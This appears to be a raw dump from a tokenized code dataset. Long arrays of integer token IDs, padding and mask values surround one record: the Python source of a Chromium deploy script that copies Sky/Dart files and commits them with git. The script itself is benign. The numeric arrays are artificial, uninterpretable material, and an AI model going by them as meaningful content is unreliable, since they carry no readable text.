291,
423,
1708,
14,
10181,
14,
318,
63,
31878,
8,
288,
283,
8568,
297,
378,
12,
288,
8538,
9191,
8,
277,
14,
31878,
63,
8568,
430,
339,
347,
485,
1205,
63,
3070,
8,
277,
304,
267,
3105,
63,
1199,
360,
28457,
1066,
27139,
2004,
26,
450,
83,
7,
450,
334,
495,
8,
277,
423,
1205,
1724,
267,
372,
291,
423,
1205,
339,
327,
8651,
1979,
22337,
1202,
315,
307,
2548,
79,
339,
347,
1979,
77,
63,
8568,
8,
277,
304,
267,
1449,
6675,
1066,
15421,
5864,
351,
24122,
370,
3464,
1449,
267,
340,
440,
291,
423,
1205,
26,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
267,
587,
26,
288,
11155,
275,
1551,
8,
1348,
21595,
12960,
3940,
540,
63,
10555,
9,
288,
1059,
275,
11155,
14,
739,
342,
288,
24122,
275,
1059,
59,
17,
6809,
18,
1055,
1294,
11917,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
18,
566,
1182,
6155,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
17,
566,
1182,
6155,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
16,
566,
1182,
6155,
9,
288,
11155,
14,
1600,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
7384,
334,
67,
9,
7760,
644,
11858,
699,
13747,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
199,
646,
747,
199,
199,
504,
9796,
492,
9796,
465,
485,
199,
199,
504,
8963,
14,
2718,
492,
11349,
199,
199,
504,
20294,
28922,
14,
502,
16506,
492,
1852,
63,
16506,
199,
504,
20294,
28922,
14,
502,
1208,
492,
3105,
63,
1199,
199,
504,
20294,
28922,
14,
16609,
322,
9191,
492,
8538,
9191,
199,
199,
646,
2050,
199,
63,
2921,
275,
2050,
14,
5572,
360,
25027,
580,
13,
8240,
1066,
15421,
5864,
351,
3589,
358,
421,
199,
1348,
21595,
12960,
3940,
540,
63,
10555,
275,
1994,
1274,
15,
6410,
15,
3246,
15,
14392,
19,
6371,
996,
68,
15,
3124,
7,
421,
199,
533,
4473,
15421,
5864,
351,
8,
5061,
304,
339,
347,
636,
826,
721,
277,
12,
1676,
304,
267,
11349,
855,
826,
721,
277,
9,
267,
291,
423,
1708,
275,
1676,
267,
340,
747,
14,
515,
14,
2444,
8,
1348,
21595,
12960,
3940,
540,
63,
10555,
304,
288,
291,
423,
1205,
275,
715,
267,
587,
26,
288,
291,
423,
1205,
275,
756,
267,
291,
14,
5720,
63,
83,
21922,
275,
291,
423,
1708,
14,
5720,
63,
83,
21922,
339,
347,
3272,
8,
277,
304,
267,
327,
663,
1536,
1066,
15421,
5864,
351,
2488,
5664,
267,
17986,
275,
1852,
63,
16506,
360,
8956,
297,
3044,
9229,
6270,
3,
1665,
16220,
16,
401,
5426,
33,
1690,
18857,
2255,
3044,
1720,
63,
875,
12397,
24500,
402,
8778,
5664,
659,
3044,
3421,
29,
22,
9,
398,
340,
291,
423,
1205,
26,
288,
17986,
14,
525,
63,
1457,
360,
8568,
297,
2892,
3449,
534,
4316,
13,
2487,
13,
10525,
13,
7870,
297,
2892,
1768,
12397,
645,
29765,
659,
2892,
1720,
63,
875,
9529,
3303,
4018,
5335,
1066,
29765,
315,
671,
12,
612,
12,
1315,
370,
13295,
659,
2892,
1979,
77,
63,
354,
534,
8568,
358,
267,
587,
26,
288,
17986,
14,
525,
63,
1457,
360,
8568,
297,
2892,
3449,
534,
4316,
13,
2487,
13,
10525,
13,
7870,
297,
2892,
1768,
12397,
645,
29765,
659,
2892,
1720,
63,
875,
9529,
3303,
4018,
5335,
1066,
29765,
315,
671,
12,
612,
12,
1315,
370,
13295,
659,
2892,
8752,
29,
549,
12,
2892,
1979,
77,
63,
354,
534,
8568,
358,
398,
291,
423,
1708,
14,
10181,
14,
318,
63,
31878,
8,
288,
283,
8568,
297,
378,
12,
288,
8538,
9191,
8,
277,
14,
31878,
63,
8568,
430,
339,
347,
485,
1205,
63,
3070,
8,
277,
304,
267,
3105,
63,
1199,
360,
28457,
1066,
27139,
2004,
26,
450,
83,
7,
450,
334,
495,
8,
277,
423,
1205,
1724,
267,
372,
291,
423,
1205,
339,
327,
8651,
1979,
22337,
1202,
315,
307,
2548,
79,
339,
347,
1979,
77,
63,
8568,
8,
277,
304,
267,
1449,
6675,
1066,
15421,
5864,
351,
24122,
370,
3464,
1449,
267,
340,
440,
291,
423,
1205,
26,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
16,
9,
267,
587,
26,
288,
11155,
275,
1551,
8,
1348,
21595,
12960,
3940,
540,
63,
10555,
9,
288,
1059,
275,
11155,
14,
739,
342,
288,
24122,
275,
1059,
59,
17,
6809,
18,
1055,
1294,
11917,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
18,
566,
1182,
6155,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
17,
566,
1182,
6155,
9,
288,
291,
423,
1708,
14,
10181,
14,
12492,
14,
740,
8,
1609,
8,
8568,
59,
16,
566,
1182,
6155,
9,
288,
11155,
14,
1600,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
TribeMedia/sky_engine
|
mojo/tools/deploy_domokit_site.py
|
8
|
4933
|
#!/usr/bin/env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Deploy domokit.github.io"""
# NOTE: Requires that download_material_design_icons to have been run from
# $build_dir/gen/dart-dpkg/sky.
import argparse
import logging
import os
import shutil
import subprocess
from mopy.paths import Paths
def git_revision():
return subprocess.check_output(['git', 'rev-parse', 'HEAD']).strip()
def mojo_filter(path):
if not os.path.isfile(path):
return False
_, ext = os.path.splitext(path)
if ext != '.mojo':
return False
return 'apptests' not in os.path.basename(path)
def gen_filter(path):
if os.path.isdir(path):
return True
_, ext = os.path.splitext(path)
# Don't include all .dart, just .mojom.dart.
return ext == '.sky' or path.endswith('.mojom.dart')
def examples_filter(path):
if os.path.isdir(path):
return True
return 'packages' != os.path.basename(path)
def sky_or_dart_filter(path):
if os.path.isdir(path):
return True
_, ext = os.path.splitext(path)
# .dart includes '.mojom.dart'
return ext == '.sky' or ext == '.dart'
def assets_filter(path):
if os.path.isdir(path):
return True
if os.path.basename(os.path.dirname(path)) != 'drawable-xxhdpi':
return False
# We only use the 18 and 24s for now.
return '18dp' in path or '24dp' in path
def packages_filter(path):
if 'packages/sky/assets/material-design-icons/' in path:
return assets_filter(path)
if '.gitignore' in path:
return False
return True
def ensure_dir_exists(path):
if not os.path.exists(path):
os.makedirs(path)
def copy(from_root, to_root, filter_func=None, followlinks=False):
assert os.path.exists(from_root), "%s does not exist!" % from_root
if os.path.isfile(from_root):
ensure_dir_exists(os.path.dirname(to_root))
shutil.copy(from_root, to_root)
return
if os.path.exists(to_root):
shutil.rmtree(to_root)
os.makedirs(to_root)
for root, dirs, files in os.walk(from_root, followlinks=followlinks):
# filter_func expects paths not names, so wrap it to make them absolute.
wrapped_filter = None
if filter_func:
wrapped_filter = lambda name: filter_func(os.path.join(root, name))
for name in filter(wrapped_filter, files):
from_path = os.path.join(root, name)
root_rel_path = os.path.relpath(from_path, from_root)
to_path = os.path.join(to_root, root_rel_path)
to_dir = os.path.dirname(to_path)
if not os.path.exists(to_dir):
os.makedirs(to_dir)
shutil.copyfile(from_path, to_path)
dirs[:] = filter(wrapped_filter, dirs)
def main():
logging.basicConfig(level=logging.WARN)
parser = argparse.ArgumentParser(description='Deploy a new build of mojo.')
parser.add_argument('deploy_root', type=str)
args = parser.parse_args()
# Always use android release?
rel_build_dir = os.path.join('out', 'android_Release')
build_dir = os.path.join(Paths().src_root, rel_build_dir)
paths = Paths(build_dir=build_dir)
dart_pkg_dir = os.path.join(paths.build_dir, 'gen', 'dart-pkg')
sky_pkg_dir = os.path.join(dart_pkg_dir, 'sky')
sky_pkg_lib_dir = os.path.join(sky_pkg_dir, 'lib')
dart_pkg_packages_dir = os.path.join(dart_pkg_dir, 'packages')
def deploy_path(rel_path):
return os.path.join(args.deploy_root, rel_path)
def src_path(rel_path):
return os.path.join(paths.src_root, rel_path)
# Verify that material-design-icons have been downloaded.
icons_dir = os.path.join(dart_pkg_packages_dir,
'sky/assets/material-design-icons')
if not os.path.isdir(icons_dir):
print('NOTE: Running `download_material_design_icons` for you.');
subprocess.check_call([
os.path.join(sky_pkg_lib_dir, 'download_material_design_icons')
])
# Copy sky/sdk/example into example/
copy(src_path('sky/sdk/example'), deploy_path('example'), examples_filter)
# Deep copy packages/. This follows symlinks and flattens them.
packages_root = deploy_path('packages')
copy(dart_pkg_packages_dir, packages_root, packages_filter, True)
# Write out license.
with open(deploy_path('LICENSES.sky'), 'w') as license_file:
subprocess.check_call([src_path('tools/licenses.py'), 'credits'],
stdout=license_file)
# Run git commands.
subprocess.check_call(['git', 'add', '.'], cwd=args.deploy_root)
subprocess.check_call([
'git', 'commit',
'-m', '%s from %s' % (rel_build_dir, git_revision())
], cwd=args.deploy_root)
if __name__ == '__main__':
main()
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
624,
27597,
886,
573,
6065,
14,
5031,
14,
2308,
624,
199,
199,
3,
6944,
26,
15127,
626,
5235,
63,
9820,
63,
14748,
63,
16471,
370,
1172,
2757,
1255,
687,
199,
3,
2672,
1506,
63,
694,
15,
2268,
15,
68,
580,
13,
68,
4600,
15,
12267,
14,
199,
199,
646,
7534,
199,
646,
2050,
199,
646,
747,
199,
646,
5145,
199,
646,
3873,
199,
199,
504,
333,
927,
14,
3771,
492,
6912,
83,
421,
199,
318,
6135,
63,
5792,
837,
272,
372,
3873,
14,
1074,
63,
1199,
2941,
3187,
297,
283,
4964,
13,
1122,
297,
283,
5211,
13227,
1913,
342,
421,
199,
318,
1303,
743,
63,
1541,
8,
515,
304,
272,
340,
440,
747,
14,
515,
14,
6292,
8,
515,
304,
267,
372,
756,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
340,
1599,
1137,
1987,
573,
743,
356,
267,
372,
756,
272,
372,
283,
571,
2219,
7,
440,
315,
747,
14,
515,
14,
4846,
8,
515,
9,
421,
199,
318,
3805,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
327,
7529,
1133,
2387,
1006,
1275,
68,
580,
12,
2951,
1275,
573,
30410,
14,
68,
580,
14,
272,
372,
1599,
508,
1987,
12267,
7,
503,
931,
14,
4130,
5175,
573,
30410,
14,
68,
580,
358,
421,
199,
318,
7251,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
372,
283,
5154,
7,
1137,
747,
14,
515,
14,
4846,
8,
515,
9,
421,
199,
318,
2386,
89,
63,
269,
63,
68,
580,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
327,
1275,
68,
580,
6952,
1987,
573,
30410,
14,
68,
580,
7,
272,
372,
1599,
508,
1987,
12267,
7,
503,
1599,
508,
1987,
68,
580,
7,
421,
199,
318,
17202,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
340,
747,
14,
515,
14,
4846,
8,
736,
14,
515,
14,
3475,
8,
515,
430,
1137,
283,
5485,
461,
13,
2154,
7952,
1038,
356,
267,
372,
756,
272,
327,
2136,
1454,
675,
314,
6155,
436,
5504,
83,
367,
3063,
14,
272,
372,
283,
1085,
5780,
7,
315,
931,
503,
283,
1194,
5780,
7,
315,
931,
421,
199,
318,
6117,
63,
1541,
8,
515,
304,
272,
340,
283,
5154,
15,
12267,
15,
12186,
15,
9820,
13,
14748,
13,
16471,
4805,
315,
931,
26,
267,
372,
17202,
63,
1541,
8,
515,
9,
272,
340,
1987,
71,
5277,
7160,
7,
315,
931,
26,
267,
372,
756,
272,
372,
715,
421,
199,
318,
4868,
63,
694,
63,
2444,
8,
515,
304,
272,
340,
440,
747,
14,
515,
14,
2444,
8,
515,
304,
267,
747,
14,
8347,
8,
515,
9,
421,
199,
318,
1331,
8,
504,
63,
1231,
12,
370,
63,
1231,
12,
2457,
63,
1532,
29,
403,
12,
2035,
4614,
29,
797,
304,
272,
702,
747,
14,
515,
14,
2444,
8,
504,
63,
1231,
395,
2071,
83,
1630,
440,
2187,
9539,
450,
687,
63,
1231,
272,
340,
747,
14,
515,
14,
6292,
8,
504,
63,
1231,
304,
267,
4868,
63,
694,
63,
2444,
8,
736,
14,
515,
14,
3475,
8,
475,
63,
1231,
430,
267,
5145,
14,
1574,
8,
504,
63,
1231,
12,
370,
63,
1231,
9,
267,
372,
339,
340,
747,
14,
515,
14,
2444,
8,
475,
63,
1231,
304,
267,
5145,
14,
9242,
8,
475,
63,
1231,
9,
272,
747,
14,
8347,
8,
475,
63,
1231,
9,
339,
367,
1738,
12,
7606,
12,
1584,
315,
747,
14,
7757,
8,
504,
63,
1231,
12,
2035,
4614,
29,
7207,
4614,
304,
267,
327,
2457,
63,
1532,
14292,
3792,
440,
1561,
12,
880,
4816,
652,
370,
1852,
3062,
3679,
14,
267,
8072,
63,
1541,
275,
488,
267,
340,
2457,
63,
1532,
26,
288,
8072,
63,
1541,
275,
2400,
536,
26,
2457,
63,
1532,
8,
736,
14,
515,
14,
904,
8,
1231,
12,
536,
430,
398,
367,
536,
315,
2457,
8,
9130,
63,
1541,
12,
1584,
304,
288,
687,
63,
515,
275,
747,
14,
515,
14,
904,
8,
1231,
12,
536,
9,
288,
1738,
63,
3369,
63,
515,
275,
747,
14,
515,
14,
12405,
8,
504,
63,
515,
12,
687,
63,
1231,
9,
288,
370,
63,
515,
275,
747,
14,
515,
14,
904,
8,
475,
63,
1231,
12,
1738,
63,
3369,
63,
515,
9,
288,
370,
63,
694,
275,
747,
14,
515,
14,
3475,
8,
475,
63,
515,
9,
288,
340,
440,
747,
14,
515,
14,
2444,
8,
475,
63,
694,
304,
355,
747,
14,
8347,
8,
475,
63,
694,
9,
288,
5145,
14,
21997,
8,
504,
63,
515,
12,
370,
63,
515,
9,
398,
7606,
5873,
275,
2457,
8,
9130,
63,
1541,
12,
7606,
9,
421,
199,
318,
2446,
837,
272,
2050,
14,
19602,
8,
1896,
29,
4806,
14,
17449,
9,
272,
1798,
275,
7534,
14,
10730,
8,
1802,
534,
27597,
282,
892,
1900,
402,
1303,
743,
2659,
272,
1798,
14,
525,
63,
2094,
360,
11060,
63,
1231,
297,
730,
29,
495,
9,
272,
1249,
275,
1798,
14,
1122,
63,
589,
342,
339,
327,
16763,
675,
15516,
4683,
31,
272,
4668,
63,
1506,
63,
694,
275,
747,
14,
515,
14,
904,
360,
548,
297,
283,
6238,
63,
9625,
358,
272,
1900,
63,
694,
275,
747,
14,
515,
14,
904,
8,
11804,
1252,
2164,
63,
1231,
12,
4668,
63,
1506,
63,
694,
9,
272,
3792,
275,
6912,
83,
8,
1506,
63,
694,
29,
1506,
63,
694,
9,
272,
366,
580,
63,
4600,
63,
694,
275,
747,
14,
515,
14,
904,
8,
3771,
14,
1506,
63,
694,
12,
283,
2268,
297,
283,
68,
580,
13,
4600,
358,
272,
2386,
89,
63,
4600,
63,
694,
275,
747
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
624,
27597,
886,
573,
6065,
14,
5031,
14,
2308,
624,
199,
199,
3,
6944,
26,
15127,
626,
5235,
63,
9820,
63,
14748,
63,
16471,
370,
1172,
2757,
1255,
687,
199,
3,
2672,
1506,
63,
694,
15,
2268,
15,
68,
580,
13,
68,
4600,
15,
12267,
14,
199,
199,
646,
7534,
199,
646,
2050,
199,
646,
747,
199,
646,
5145,
199,
646,
3873,
199,
199,
504,
333,
927,
14,
3771,
492,
6912,
83,
421,
199,
318,
6135,
63,
5792,
837,
272,
372,
3873,
14,
1074,
63,
1199,
2941,
3187,
297,
283,
4964,
13,
1122,
297,
283,
5211,
13227,
1913,
342,
421,
199,
318,
1303,
743,
63,
1541,
8,
515,
304,
272,
340,
440,
747,
14,
515,
14,
6292,
8,
515,
304,
267,
372,
756,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
340,
1599,
1137,
1987,
573,
743,
356,
267,
372,
756,
272,
372,
283,
571,
2219,
7,
440,
315,
747,
14,
515,
14,
4846,
8,
515,
9,
421,
199,
318,
3805,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
327,
7529,
1133,
2387,
1006,
1275,
68,
580,
12,
2951,
1275,
573,
30410,
14,
68,
580,
14,
272,
372,
1599,
508,
1987,
12267,
7,
503,
931,
14,
4130,
5175,
573,
30410,
14,
68,
580,
358,
421,
199,
318,
7251,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
372,
283,
5154,
7,
1137,
747,
14,
515,
14,
4846,
8,
515,
9,
421,
199,
318,
2386,
89,
63,
269,
63,
68,
580,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
5501,
1599,
275,
747,
14,
515,
14,
7973,
8,
515,
9,
272,
327,
1275,
68,
580,
6952,
1987,
573,
30410,
14,
68,
580,
7,
272,
372,
1599,
508,
1987,
12267,
7,
503,
1599,
508,
1987,
68,
580,
7,
421,
199,
318,
17202,
63,
1541,
8,
515,
304,
272,
340,
747,
14,
515,
14,
6027,
8,
515,
304,
267,
372,
715,
272,
340,
747,
14,
515,
14,
4846,
8,
736,
14,
515,
14,
3475,
8,
515,
430,
1137,
283,
5485,
461,
13,
2154,
7952,
1038,
356,
267,
372,
756,
272,
327,
2136,
1454,
675,
314,
6155,
436,
5504,
83,
367,
3063,
14,
272,
372,
283,
1085,
5780,
7,
315,
931,
503,
283,
1194,
5780,
7,
315,
931,
421,
199,
318,
6117,
63,
1541,
8,
515,
304,
272,
340,
283,
5154,
15,
12267,
15,
12186,
15,
9820,
13,
14748,
13,
16471,
4805,
315,
931,
26,
267,
372,
17202,
63,
1541,
8,
515,
9,
272,
340,
1987,
71,
5277,
7160,
7,
315,
931,
26,
267,
372,
756,
272,
372,
715,
421,
199,
318,
4868,
63,
694,
63,
2444,
8,
515,
304,
272,
340,
440,
747,
14,
515,
14,
2444,
8,
515,
304,
267,
747,
14,
8347,
8,
515,
9,
421,
199,
318,
1331,
8,
504,
63,
1231,
12,
370,
63,
1231,
12,
2457,
63,
1532,
29,
403,
12,
2035,
4614,
29,
797,
304,
272,
702,
747,
14,
515,
14,
2444,
8,
504,
63,
1231,
395,
2071,
83,
1630,
440,
2187,
9539,
450,
687,
63,
1231,
272,
340,
747,
14,
515,
14,
6292,
8,
504,
63,
1231,
304,
267,
4868,
63,
694,
63,
2444,
8,
736,
14,
515,
14,
3475,
8,
475,
63,
1231,
430,
267,
5145,
14,
1574,
8,
504,
63,
1231,
12,
370,
63,
1231,
9,
267,
372,
339,
340,
747,
14,
515,
14,
2444,
8,
475,
63,
1231,
304,
267,
5145,
14,
9242,
8,
475,
63,
1231,
9,
272,
747,
14,
8347,
8,
475,
63,
1231,
9,
339,
367,
1738,
12,
7606,
12,
1584,
315,
747,
14,
7757,
8,
504,
63,
1231,
12,
2035,
4614,
29,
7207,
4614,
304,
267,
327,
2457,
63,
1532,
14292,
3792,
440,
1561,
12,
880,
4816,
652,
370,
1852,
3062,
3679,
14,
267,
8072,
63,
1541,
275,
488,
267,
340,
2457,
63,
1532,
26,
288,
8072,
63,
1541,
275,
2400,
536,
26,
2457,
63,
1532,
8,
736,
14,
515,
14,
904,
8,
1231,
12,
536,
430,
398,
367,
536,
315,
2457,
8,
9130,
63,
1541,
12,
1584,
304,
288,
687,
63,
515,
275,
747,
14,
515,
14,
904,
8,
1231,
12,
536,
9,
288,
1738,
63,
3369,
63,
515,
275,
747,
14,
515,
14,
12405,
8,
504,
63,
515,
12,
687,
63,
1231,
9,
288,
370,
63,
515,
275,
747,
14,
515,
14,
904,
8,
475,
63,
1231,
12,
1738,
63,
3369,
63,
515,
9,
288,
370,
63,
694,
275,
747,
14,
515,
14,
3475,
8,
475,
63,
515,
9,
288,
340,
440,
747,
14,
515,
14,
2444,
8,
475,
63,
694,
304,
355,
747,
14,
8347,
8,
475,
63,
694,
9,
288,
5145,
14,
21997,
8,
504,
63,
515,
12,
370,
63,
515,
9,
398,
7606,
5873,
275,
2457,
8,
9130,
63,
1541,
12,
7606,
9,
421,
199,
318,
2446,
837,
272,
2050,
14,
19602,
8,
1896,
29,
4806,
14,
17449,
9,
272,
1798,
275,
7534,
14,
10730,
8,
1802,
534,
27597,
282,
892,
1900,
402,
1303,
743,
2659,
272,
1798,
14,
525,
63,
2094,
360,
11060,
63,
1231,
297,
730,
29,
495,
9,
272,
1249,
275,
1798,
14,
1122,
63,
589,
342,
339,
327,
16763,
675,
15516,
4683,
31,
272,
4668,
63,
1506,
63,
694,
275,
747,
14,
515,
14,
904,
360,
548,
297,
283,
6238,
63,
9625,
358,
272,
1900,
63,
694,
275,
747,
14,
515,
14,
904,
8,
11804,
1252,
2164,
63,
1231,
12,
4668,
63,
1506,
63,
694,
9,
272,
3792,
275,
6912,
83,
8,
1506,
63,
694,
29,
1506,
